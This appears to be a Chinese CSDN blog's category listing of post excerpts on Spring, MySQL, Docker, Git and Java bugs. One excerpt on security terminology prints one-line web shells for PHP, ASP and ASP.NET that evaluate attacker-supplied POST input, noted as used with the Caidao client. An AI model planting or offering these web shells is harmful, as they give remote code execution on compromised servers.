![](https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
web
文章平均质量分 56
浮生若梦·
这个作者很懒,什么都没留下…
展开
-
SpringMVC配置jasypt 加密配置文件
SpirngMVC配置jasypt需要引入的依赖<dependency> <groupId>org.jasypt</groupId> <artifactId>jasypt-spring31</artifactId> <version>1.9.2</version></dependency><dependency> <groupId>org.jasyp原创 2022-01-12 15:47:22 · 3132 阅读 · 5 评论 -
mysql 间隙锁
mysql 间隙锁的简单介绍原创 2021-12-02 11:05:50 · 725 阅读 · 0 评论 -
使用 EasyExcel 读取和下载 excel 文件
前言EasyExcel是阿里巴巴开源的一个excel处理框架,以使用简单,节省内存著称,EasyExcel能大大减少占用内存的主要原因是在解析Excel时没有将文件数据一次性全部加载到内存中,而是从磁盘上一行行读取数据,逐个解析。EasyExcel采用一行一行的解析模式,并将一行的解析结果以观察者的模式通知处理(AnalysisEventListener)。构建工具类@Datapublic class User{ @ExcelProperty(value = "名称", index =原创 2021-05-26 16:10:56 · 5325 阅读 · 0 评论 -
一些神奇的小BUG(二)
这个BUG 是有关于mybatis 的BUG首先 说一下发现BUG的过程本来是做一个有关读取txt数据 自动回显到页面的功能。怎么说呢,就是数据可能太多,客户不太想挨个填写。于是准备一个TXT的文本,里面是按规则的内容,通过读取这些内容回显到界面上,再确认后提交数据。其中第一列的数据是一些文件的名称,不过先得确认这个文件是否在数据库当中,不在的话就不予以回显。然后问题就来了,第一行的数据不管怎么查询永远都查询不到,不光是项目中查询不到,而且在数据库中也查不到,但是它确实在数据库当中。只要重新输原创 2021-02-01 15:32:34 · 88 阅读 · 0 评论 -
网络安全(三)浏览器安全
近几年来随着互联网的发展,人们发展浏览器才是互联网最大的入口,绝大多数用户使用互联网的工具是浏览器。因此浏览器市场的竞争也日趋白热化。浏览器安全在这种激烈竞争的环境中被越来越多的人所重视。一方面,浏览器天生就是一个客户端,如果具备了安全功能,就可以像安全软件一样对用户上网起到很好的保护作用;另一方面,浏览器安全也成为浏览器厂商之间竞争的一张底牌,浏览器厂商希望能够针对安全建立起技术门槛,以此获得竞争优势。原创 2020-12-24 17:23:26 · 1335 阅读 · 5 评论 -
网络安全(二)安全基础
互联网本来是安全的,自从有看研究安全的人之后,互联网就不安全了。--道哥原创 2020-12-17 16:56:19 · 2564 阅读 · 1 评论 -
网络安全(一)常用术语
常用术语肉鸡:肉鸡也被称为‘傀儡机’,是指被黑客远程控制的机器。比如用‘灰鸽子’等诱惑客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。一句话木马:一句话木马主要用来配合菜刀使用PHP<?php@eval($_POST['chabug']);?>ASP<%evla request("chabug")%>ASP.NET<%@ Page Language="Jscript"%><%eval(Request.原创 2020-12-14 10:17:29 · 1537 阅读 · 0 评论 -
使用FastJson 生成和读取JSON文件
首先先来写一个类来做测试public class student{ private String name; private String age; private String sex; get...... set...... }这里就可以输出JSON文件了import com.alibaba.fastjson.JSONObject;import entity.student;import java.nio.charset.StandardCharsets;import原创 2020-12-01 15:36:25 · 7741 阅读 · 0 评论 -
java list<T> 对象去重的问题
今天碰到一个需要将 list 数组去重的问题,在网上一番搜索找到一个非常有用而且简洁的代码,记录一下。方法的原理是将 list 数组转化为 set 数组。 因为 set 数组的特性来保证数据没有重复。但是有一点需要注意,就是需要去重的对象一定要重写 equlas 和 hashCode 方法。例子:public class User { private String id; private String name; private int age; @Override原创 2020-10-22 15:20:24 · 463 阅读 · 0 评论 -
invalid comparison: java.util.Date and java.lang.String:date类型的数据不能和string的数据进行比较。
最近碰到一个有意思的错误,这个错误翻译过来是无效的比较,date类型的数据不能和string的数据进行比较。一开始看到这个问题很纳闷,报错的这个方法只是一个修改的方法,非常简单,也没涉及到比较啥的。后来终于找到了报错的关键,这个报错的位置是在mapper.xml中。一般我们在写动态SQL的时候会这样做 <if test="createDate != null and createDate!=''"> create_date=#{createDate}, <原创 2020-10-20 15:29:22 · 5881 阅读 · 2 评论 -
深入MySQL(二)索引
索引索引(MySQL中也叫做 “键”)是存储引擎用于快速找到记录的一种数据结构。这是索引的基本功能。索引对于良好的性能非常关键。尤其是当表中的数据量越来越大时,索引对性能的影响愈发重要。在数据量较小且负载较低时,不恰当的索引对性能的影响可能还不明显,但当数据量逐渐增大时,性能则会急剧下降(对于固态硬盘来说,没有传统硬盘那么糟糕)。索引基础我们在看书的时候,想要找到某个主题,会怎么做呢?我们一般会去翻书的目录,然后找到该主题所在的页数,最后快速的找到该主题。那么MySQL的索引所做的工作也是同样的工作原创 2020-09-22 16:29:45 · 338 阅读 · 0 评论 -
MySQL DELETE 删除数据后释放空间
首先来看一下MySQL删除数据的几种方式MySQL 删除数据的几种方式有 DELETE、TRUNCATE、DROPDELETE:要注意,delete是DML语言,删除数据后,并不会真正的删除数据,每次从表中删除一行,并且同时将该行的的删除操作记录在redo和undo表空间中以便进行回滚(rollback)和重做操作,但要注意表空间要足够大,需要手动提交(commit)操作才能生效,可以通过rollback撤消操作。还有,InnoDB 数据库在使用 delete 进行删除操作的时候,只会将已经删除的数原创 2020-07-20 11:12:54 · 13866 阅读 · 2 评论 -
Mysql唯一索引区分大小写问题
最近在做一个项目,需要批量添加一大堆数据做查询,做好SQL优化后,准备插入数据时发现,原本规定有一个列的数据本来是唯一的数据,但其中有两个数据是一样一样的,只是大小写不同,经过和数据提供者的协调,发现数据正常,确实有一些数据是大小写不同,但是这些是正常数据。但是mysql数据库做好了唯一索引后,插入这种数据报错,原因当然是唯一字段不区分大小写了。只要修改一下就好了ALTER TABLE [表名称] MODIFY [字段名称] [VARCHAR(30)] BINARY;注意: 字段名称后面的 VAR原创 2020-07-20 10:23:37 · 3308 阅读 · 0 评论 -
深入mysql(一) mysql基础底层技术
mysql的逻辑架构最上层 的服务并不是mysql锁独有的,大多数基于网络的客户端/服务器的工具或者服务都有类似的架构。例如连接处理,授权认证、安全等。第二层 大多数的mysql的核心服务功能都在这一层,包括查询解析、分析、优化、缓存以及所有的内置函数(例如:日期、时间、数学和加密函数),所有跨存储引擎的功能都在这一层实现:存储过程、触发器、视图等等。第三层 包含了存储引擎。存储引擎负责mysql中数据的存储和提取。和linux下的各种文件系统一样,每个存储引擎都有它的优势和劣势。服务器通过API与原创 2020-06-08 10:59:04 · 371 阅读 · 0 评论 -
一些神奇的小BUG
一直以来都有一些奇奇怪怪的小BUG,在开发中扰得人头痛万分,发现问题解决后又感觉有些哭笑不得。特此记录一些自己所犯的一些滑稽的问题,以防之后再犯第一个 下载文件(Spring boot)犯错的代码/** * 下载文件 * * @param file 下载的文件 * @return true or false */ public static Boolean download(File file, HttpServletResponse res原创 2020-06-05 15:33:18 · 329 阅读 · 1 评论 -
Springboot 上传文件 MultipartFile 类型转CommonsMultipartFile报错
我们从根源上找一下问题的所在首先我们来了解一下MultipartFile 这个类型MultipartFileSpringMVC 中,文件的上传,是通过 MultipartResolver 实现的。 所以,如果要实现文件的上传,在SSM的项目中只要在 spring-mvc.xml 中注册相应的 MultipartResolver 即可。MultipartResolver 的实现类有两个:CommonsMultipartResolverStandardServletMultipartResolve原创 2020-06-02 11:15:21 · 4392 阅读 · 0 评论 -
Web应用程序[root]注册了JDBC驱动程序,但在Web应用程序停止时未能注销它。为了防止内存泄漏,jdbc驱动程序被强制注销
后来我又碰到了几回这个错误,是关于配置log4j时候报的错,最后查出同样是由于jar包冲突,所以大家要是遇到相似的问题,可以冲这方面入手一下原创 2019-10-23 16:57:53 · 25781 阅读 · 1 评论 -
Spring boot2.0配置 Mybatis、Activiti、FastJson
mybatis 配置经过多次摸索探寻出几种实现方式maven 配置 <!--mybatis--> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>原创 2020-05-19 17:40:43 · 401 阅读 · 0 评论 -
Spring 事务和 Spring boot 事务
Spring 事务首选是在配置文件中的配置<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"> <property name="dataSource" ref="dataSource" /> </bean><tx:advice id="transactionAdv原创 2020-05-19 13:20:34 · 276 阅读 · 0 评论 -
Spring boot 学习整理(四) 深入Actuator
Actuator 是个什么呢?Actuator 是Spring boot 在应用程序中提供的众多web端点,提供他们了解应用程序运行时的内部状况,有了 Actuator ,你就可以知道Bean在 Spring 应用程序上下文里是如何组装在一起的,掌握应用程序可以获取环境的属性信息,运行时度量信息的快照…说白了,就是可以通过 url 查看当前项目的环境信息等等的一个控件具体先来试一试就知道了加入Maven依赖 <!--Actuator--> <dependency>原创 2020-05-15 14:03:08 · 199 阅读 · 0 评论 -
Spring boot 学习整理(三)注解介绍、mybaits配置、c3p0配置、log4j配置
@SpringBootApplication首先当然是这个最为关键的注解,由这个注解可以将项目启动@SpringBootApplicationpublic class ReadingListApplication { public static void main(String[] args) { SpringApplication.run(ReadingListApplication.class, args); }}@SpringBootApplication 开启了spring的原创 2020-05-14 16:59:39 · 326 阅读 · 0 评论 -
Spring boot 学习整理(二)新建项目的初始内容介绍
从pom.xml开始详细介绍修改这个版本号可能会导致默认隐藏的test下的类报错,具体原因请看上一篇文章,如果找不到这个test文件夹的话可能是隐藏了。在项目上右键点击如下操作,即可看到test文件夹配置统一的编码和JDK <properties> <!-- 统一编码 --> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <!--统一JDK--原创 2020-05-12 16:55:21 · 178 阅读 · 0 评论 -
Spring boot 学习整理(一) IDEA创建Springboot项目
Spring boot 的创建一、Spring Initializr 方式创建选择新建项目接下来选择 Srping Initializr这里直接next 下一步选择 web --》spring web 可以指定版本号 如果这里的版本没有想要的话先随便选一个等一会儿修改直接finish创建好的项目目录结构如下其中,mvnw是一个maven wrapper script,它可以让你在没有安装maven或者maven版本不兼容的条件下运行maven的命令.原理:它会寻找mav原创 2020-05-11 17:58:52 · 163 阅读 · 0 评论 -
SSM框架整合log4j的配置详情
SSM框架整合log4j的配置详情最近将框架中的log4j深入学习了一下,以前虽然一直在用,但是也是知其然不知其所以然,所有的配置信息都是网上照搬的,最近有时间想着深入的整理学习一下。一、maven配置maven 配置详情 <dependency> <groupId>log4j</groupId> <artifactId&g...原创 2020-04-27 15:12:56 · 1110 阅读 · 0 评论 -
java 上传多个文件,只有第一个有实际大小,剩下的都是0kb
遇到一个令人很头疼的问题,虽然最后解决了该问题,但是具体的原因也只是我的猜测罢了,至于真实的原因还有待商榷。以下就是出现问题的代码,会导致只有第一个文件有实际大小,而其他的文件都是0KB,但是有意思的是如果你去查看这些0KB的文件,也是可以查看的,然后在你查看后你再刷新目录就会发现刚刚看过的文件又有了真实大小,但是其他的文件还是0KB。这样的话一般是查看和调用文件都是没有啥问题的,但是一旦涉及...原创 2020-04-20 17:13:39 · 776 阅读 · 0 评论 -
docker配置环境变量过程中遇到的问题和上传docker镜像
最近的项目中有一个需求,在算法执行的过程中需要一个外部程序的支持,这个软件倒是安装的不太难,但是有个问题,算法工程师要求这个软件要配置环境变量,需要在任何地方调用,项目是采用docker环境部署的,一开始只是以为简单的将环境变量写入/etc/profile, 然后刷新就行。在刚开始写入环境变量,source /etc/profile之后,确实是可以使用了,但我还是谨慎了一下,让算法工程师去测试一...原创 2020-04-16 14:28:05 · 808 阅读 · 0 评论 -
git的常用命令和使用
在很早之前自己学习了一下git的使用,后来之后在开发工具中集成了git插件后发现学的那些git的常用命令好像没什么大用了,当时也做了不少笔记,今天突然又翻了出来,顺便整理一下。Git 与 SVN 区别Git 不仅仅是个版本控制系统,它也是个内容管理系统(CMS),工作管理系统等。 如果你是一个具有使用 SVN 背景的人,你需要做一定的思想转换,来适应 Git 提供的一些概念和特征。1、Git...原创 2020-04-08 13:19:10 · 76 阅读 · 0 评论 -
docekr 部署vue项目到nginx服务器,反向代理tomcat服务器
首先还是直接上操作的过程,具体的docekr的安装教程很简单,而且按照官方的 docker安装详情 即可完成安装,一般问题不大。那么现在开始第一步拉取nginx镜像sudo docker search nginx #查看nginx sudo docker pull nginx #拉取nginx镜像在此之前你应该先去部署好tomcat容器,因为需要一个tomcat容器的IP地址来...原创 2020-03-27 16:34:12 · 806 阅读 · 0 评论 -
docker部署mysql容器
首先上来还是直接操作吧,如果有需要先安装docekr的话,可以自己去docker的官网去查看和下载 docker安装详情 大家可以自行选择适合自己的系统进行安装,按照步骤一步一步来的话应该是没啥问题的。第一步的话还是首先去搜索mysql的容器sudo docker search mysql #普通用户需要加sudo 冒号后是版本号拉取mysql镜像sudo docker pu...原创 2020-03-27 11:38:40 · 698 阅读 · 0 评论 -
doker使用tomcat容器部署JAVA web服务
最近一直在学习docker来部署刚做的一个项目,犯了一些错误,积累了一些宝贵的经验,记录一下自己的成长。首先下载安装docker的话是比较简单的,可以自己去docker的官网去查看和下载 docker安装详情 我的linux服务器是debian,大家可以自行选择适合自己的系统进行安装,按照步骤一步一步来的话应该是没啥问题的。接下来就是实际操作:1.首先使用docker搜索一下需要的tomc...原创 2020-03-13 14:51:44 · 167 阅读 · 0 评论 -
C:\Users\xx\.xxxxxx\system\tomcat\xxx\work\Catalina\localhost\ROOT(系统找不到指定文件)
编写SMM项目,上传zip文件报错代码在执行到 此处时ZipInputStream zipInputStream = new ZipInputStream(new FileInputStream(file));上传文件报错报错内容:C:\Users\用户\.IntelliJIdea2017.1\system\tomcat\项目名称\work\Catalina\lo...原创 2019-11-04 16:54:49 · 1309 阅读 · 0 评论